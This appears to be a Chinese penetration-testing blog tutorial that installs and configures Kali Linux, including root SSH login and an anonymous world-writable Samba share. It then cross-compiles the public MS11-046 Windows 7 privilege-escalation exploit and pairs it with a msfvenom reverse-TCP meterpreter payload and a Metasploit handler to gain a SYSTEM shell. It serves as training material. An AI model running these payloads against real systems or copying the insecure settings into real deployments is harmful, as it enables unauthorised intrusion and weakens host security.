这是在虚拟机安装下面是介绍kali linux渗透操作系统
一、Kali简介1.1、相关连接
Kali百度百科:https://baike.baidu.com/item/Kali%20linux/8305689?fr=aladdin
Kali wiki:https://en.wikipedia.org/wiki/Kali
Kali官网:https://www.kali.org/
1.2、重点介绍
Kali Linux是基于Debian的Linux发行版,设计用于数字取证操作系统。Kali Linux预装了许多渗透测试软件,包括nmap、Wireshark、John the Ripper,以及Aircrack-ng.用户可通过硬盘、live CD或live USB运行Kali Linux。Kali Linux既有32位和64位的镜像。可用于x86指令集。同时还有基于ARM架构的镜像,可用于树莓派和三星的ARM Chromebook
综上可知,Kali是一款安全研究人员使用的Linux发行版系统。
安装环境
本部分安装时安装在VMware的虚拟机。
操作系统:Windows10 64位
VMware:VMware 12
Kali:kali-linux-2018.2-vm-amd64.ova
Kali通用下载:https://www.kali.org/downloads/
Kali下载连接:https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/
Kali系统官方提供可以直接导入VM的OVA系统。以下是下载的过程截图。如果版本更新可以在Kali的官网下载地址找到更新版本。
下载以后,双击下载的“kali-linux-2018.2-vm-amd64.ova”(注意:此时已经安装了VMware,而且没有安装其他虚拟机,所以默认可以使用VMware打开这种格式的文件)然后导入即可,导入过程可以选择虚拟机的存储路径。导入后开机。
初始用户:root
初始密码:toor
导入后界面
记录下简单安装的步骤
因为Kali中已经集成了很多工具,所以初次使用,可以配置一下使Kali用起来更得心应手。
准备工作:先查看VMtools是默认生效的(开机后需要有个反应时间)
3.1环境配置
alias,常用命令的命令别名开启(默认ll命令不是ls -l的别名)
123456789101112131415161718 | 1 切换到用户的主目录: 2 cd 3 用vi编辑.bashrc,这个文件开机后自动生效里面的别名: 4 vi .bashrc 5 把下面的行去掉注释: 6 alias ls= 'ls --color=auto' 7 alias dir= 'dir --color=auto' 8 alias vdir= 'vdir --color=auto' 9 10 alias grep= 'grep --color=auto' 11 alias fgrep= 'fgrep --color=auto' 12 alias egrep= 'egrep --color=auto' 13 14 alias ll= 'ls -l' 15 alias la= 'ls -A' 16 alias l='ls -CF 17 然后保存退出,然后生效当前配置: 18 source .bashrc |
把桌面目录的文件转移到文档目录:
1 | 1 mv /root/Desktop/* /root/Documents/ |
语言设置中文
12345678910111213141516 | 1 备份原配置: 2 mv /etc/ default /locale /etc/ default /locale.backup`date "+%Y%m%d" ` 3 查看现在的系统语言环境: 4 echo $LANG 5 locale 6 修改配置: 7 vi /etc/ default /locale 8 修改后的配置: 9 LANG= "zh_CN.UTF-8" 10 LANGUAGE= "zh_CN:zh" 11 LC_ALL= "zh_CN.UTF-8" 12 修改后立刻生效: 13 source /etc/ default /locale 14 查看是否生效: 15 echo $LANG 16 locale |
取消自动锁屏
点击设置,然后点击,如下图所示:
3.2、ssh配置
添加ssh开机自启动:
12345678 | 1 查看ssh运行状态: 2 /etc/init.d/ssh status 3 启动ssh: 4 /etc/init.d/ssh start 5 开机自启动配置: 6 systemctl enable ssh.service 7 或者 8 update-rc.d ssh enable |
修改配置让ssh允许root登录:
12345678910 | 1 编辑ssh配置文件: 2 vi /etc/ssh/sshd_config 3 4 在查找模式/Per可以查找到对应开启允许root登录的行(第32行,也可以按数字32然后按gg即可。) 5 原来这行配置: 6 PermitRootLogin prohibit-password 7 修改后这行的配置: 8 PermitRootLogin yes 9 然后保存退出。然后重启ssh服务即可: 10 /etc/init.d/ssh restart |
3.3、samba配置
Kali默认已经安装了samba服务程序,但是并没有设置开机自启动。
配置文件修改
12345678910111213141516 | 1 备份配置文件: 2 cp /etc/samba/smb.conf /etc/samba/smb.conf.backup`date "+%Y%m%d" ` 3 修改配置文件: 4 >/etc/samba/smb.conf 5 vi /etc/samba/smb.conf 6 下面是具体配置内容: 7 [global] 8 map to guest = Bad User 9 [Share] 10 path = /root/Public 11 public = yes 12 writable = yes 13 available = yes 14 browseable = yes 15 需要修改samba的根目录的权限设置为777,否则不能匿名登录: 16 chmode 777 /root/Public |
启动samba
1234 | 1 启动方式 2 建议使用的方式:/etc/init.d/smbd start 3 或者: 4 systemctl start smbd.service |
开机自启动
1234 | 1 开机自启动方法: 2 update-rc.d smbd enable 3 或者 4 systemctl enable smbd.service |
3.4、搜狗输入法安装
搜狗输入法Debian系统安装包网址:https://pinyin.sogou.com/linux/
可以下载到windows系统本地然后通过samba服务传入Kali或者直接通过鼠标拖拽进Kali系统的桌面。
准备环境
1 | 1 apt-get install fcitx -y |
安装过程
首先查看安装包:
123 | 1 ll 2 总用量 22380 3 -rwxr--r-- 1 root root 22915896 7月 16 08:12 sogoupinyin_2.2.0.0108_amd64.deb |
安装离线安装包(这个过程会报错):
1234567 | 1 dpkg -i sogoupinyin_2.2.0.0108_amd64.deb 2 这个过程会报错: 3 ...... 4 正在处理用于 shared-mime-info (1.9-2) 的触发器 ... 5 正在处理用于 hicolor-icon-theme (0.17-2) 的触发器 ... 6 在处理时有错误发生: 7 sogoupinyin |
然后执行下面命令:
1 | 1 apt --fix-broken install |
然后再次安装:
1 | 1 dpkg -i sogoupinyin_2.2.0.0108_amd64.deb |
此时安装完成。进入Kali可以通过shift按键切换中文搜狗输入法。
如何在kali linux上编译windows漏洞!
mingw-w64是一个用于创建windows应用程序的自由和开源软件开发环境。 mingw-w64最初叫mingw32,它当时不支持64位架构。在本教程中,我们将讨论如何使用mingw-64在 kali linux上编译windows漏洞。 让我们开始在kali linux上安装mingw-w64。
mingw-w64是一个用于创建windows应用程序的自由和开源软件开发环境。 mingw-w64最初叫mingw32,它当时不支持64位架构。
在本教程中,我们将讨论如何使用mingw-64在 kali linux上编译windows漏洞。 让我们开始在kali linux上安装mingw-w64。
1、在kali linux上安装mingw-w64
默认情况下,kali linux 2016.2和更低版本上未安装mingw-w64。 因此,我们需要先安装它,然后才能在linux上编译windows漏洞。 执行以下命令,安装mingw-w64:
apt-get update apt-get install mingw-w64
使用apt-get install mingw-w64在您的kali主机上安装mingw-w64。
键入y为yes,以确认并继续mingw-w64安装过程。 下载和安装mingw-w64可能需要一段时间才能完成。
2、无法找到程序包mingw-w64的解决方法
有时,你尝试安装mingw-w64包时得到一个无法找到包mingw-w64的错误,并得到类似如下提示:
root@kali:~# apt-getinstall mingw-w64 reading package lists…done building dependency tree reading stateinformation… done e: unable to locatepackage mingw-w64
要解决这个问题,请确保在sources.list文件中具有正确的存储库。您可以使用nano编辑文件:
/etc/apt/sources.list
确保您在此文件中具有正确的存储库。 您可以在以下页面上找到不同版本的kali linux的存储库:
使用sources.list文件中的正确的存储库,您需要运行apt-get update,然后再次运行mingw-w64软件包的安装命令。
3、用mingw-w64交叉编译windows漏洞利用
现在我们已经安装了mingw-w64,可以开始编译windows漏洞利用程序了。 对于本教程,我们将编译一个用c编写的windows漏洞利用程序,以利用windows 7 sp0 x86中的cve-2011-1249(ms11-046)漏洞。 此版本的windows操作系统在辅助功能驱动程序(afd)中包含一个漏洞,允许已认证的非管理用户提升权限。即使mingw-w64是为非常需要的64位支持开发的,我们也可以编译32位windows漏洞。 让我们来看看如何编译32位windows漏洞。
让我们从exploit-db下载漏洞:
wget --output-document= 40564.c https://www.exploit-db.com/download/40564
使用以下命令编译windows 32位的afd.sys exploit:
i686-w64-mingw32-gcc[input file: source]–o [output file: .exe]-lws2_32
以下命令将编译windows 7 afd.sys特权升级漏洞:
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32
编译windows漏洞。
要将漏洞利用程序转移到目标主机,我们将使用内置的apacheweb服务器来提供它。 最后2个命令会将exploit复制到apache主目录并启动apache web服务器。
当我们从cmd.exe下载并执行该漏洞时,它将如下所示:
漏洞利用成功执行。
因为我们可以看到whoami命令在执行exploit之前返回一个普通用户权限,之后显示是system用户权限。这个exploit实际上在当前shell中生成一个新的shell,而不是在新窗口中创建一个新的shell。这意味着我们也可以从命令行shell运行此漏洞利用程序,例如meterpreter。让我们看看如何从meterpreter会话运行漏洞利用。
4、利用编译错误
当编译针对不同架构和操作系统的漏洞时,可能会发生许多错误。有很多因素可能导致编译失败,例如:语法,库,主机和目标体系结构,用于编译代码的已安装软件等等。一些错误可能很容易修复,有些错误则不是。同样重要的是不同的警告来自致命的错误,因为警告可能只是指示一些类似的过时的功能,不能阻止漏洞的工作。致命错误会阻止漏洞利用,因此需要修复。
处理编译错误的最佳方法是仔细阅读,然后在google上搜索解决方案。通常你不是第一个也不是唯一面对某个编译错误的人,因此没有必要重新发明轮子。在线资源(如堆栈交换)通常为您提供最常见的编译错误的可能解决方案。
5、从meterpreter shell中利用ms11-046
让我们使用msfvenom快速生成windows 32位meterpreter反向tcp有效负载,并在目标主机上执行它。 我们将在metasploit中使用多处理程序来捕获反向shell。
使用以下命令使用msfvenom创建有效负载:
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcplhost=[ip attackbox] lport=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe
请务必更换侦听主机ip,必要时更换侦听端口。现在启动msfconsole并运行以下命令来设置多处理器漏洞:
use exploit/multi/handler set lhost [listening host ip] set lport 4444 run
在端口4444上启动反向tcp处理程序。
然后下载利用程序到目标主机并执行它。 如果一切设置正确,您应该在msfconsole上收到一个反向meterpreter shell:
目标主机连接回kali。
在meterpreter命令行上运行下一“shell”命令并运行特权升级漏洞利用程序将shell升级到系统shell:
特权升级攻击通过我们的meterpreter会话成功执行。
正如你可以看到的,shell从特权测试用户shell变化到系统shell。 请注意,在执行它的shell中生成一个新的系统shell。 因此,我们不能看到利用输出,因为它是在有限的特权的旧shell。
您可以通过键入exit来验证这一点,将退出系统shell并返回到仍包含windows 7权限升级exploit输出的用户shell:
特权用户shell上的exploit输出。
学到的东西
在本教程中,我们已经了解了在linux上针对windows的交叉编译漏洞的基础知识。 我们已经学习了如何在kali linux上安装mingw-w64并解决最常见的安装问题。 为了练习漏洞编译过程,我们编译了一个针对windows7 x86的特权提升漏洞。 这也称为交叉编译。
我们已成功的在目标主机上执行已编译的可执行文件,并将shell从有限的用户shell升级到系统shell。 我们已经知道,这个特殊的exploit在shell中生成了一个shell,在这个shell中执行了exploit。 这样,我们还可以从命令行(例如meterpreter shell)执行特权提升漏洞利用。